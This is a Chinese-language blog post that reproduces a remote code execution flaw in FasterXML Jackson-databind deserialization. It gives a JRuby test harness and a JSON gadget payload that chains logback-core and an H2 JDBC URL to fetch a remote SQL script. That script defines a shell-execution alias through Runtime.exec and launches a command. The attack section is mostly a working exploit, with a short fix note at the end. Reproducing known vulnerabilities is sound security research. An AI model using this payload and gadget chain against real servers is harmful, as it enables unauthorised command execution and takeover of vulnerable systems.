FasterXML Jackson-databind 反序列化漏洞复现

0x00漏洞介绍

近日,FasterXML Jackson-databind远程代码执行漏洞的利用方式公开。此漏洞利用FasterXML Jackson-databind的logback-core类建立JDBC连接,加载插入恶意代码的sql文件,获取服务器权限,实现远程代码执行漏洞的利用。

受影响版本 FasterXML jackson-databind 2.0 - 2.9.9.1

这里之前的 jackson 漏洞存在很多次绕过,都是找到一些可以反序列化使用的类,之前影响 2.8.9,2.9.2的 POC 等等,到 3.X 之后 jackson 使用白名单可能就变得安全的多。

0x01漏洞复现

环境依赖下面五个类

  • jackson-databind-2.9.8
  • jackson-annotations-2.9.8
  • jackson-core-2.9.8
  • logback-core-1.3.0-alpha4
  • h2-1.4.199

看下反序列化的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
require 'java'
Dir["./classpath/*.jar"].each do |f|
require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'

content = ARGV[0]

puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)

通过调用 enableDefaultTyping() 方法,然后利用 readValue 方法进行反序列化,这里反序列化的 POC 是通过 JDBC,服务器可以远程加载远端的恶意 sql 文件并执行其中的代码。

Payload 如下:

1
"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"

远程sql文件如下:

1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('/Applications/Calculator.app/Contents/MacOS/Calculator')

执行成功

0x02漏洞修复

升级到FasterXML jackson-databind最新版本。

-------------本文结束感谢您的阅读-------------
坚持原创技术分享,您的支持将鼓励我继续创作!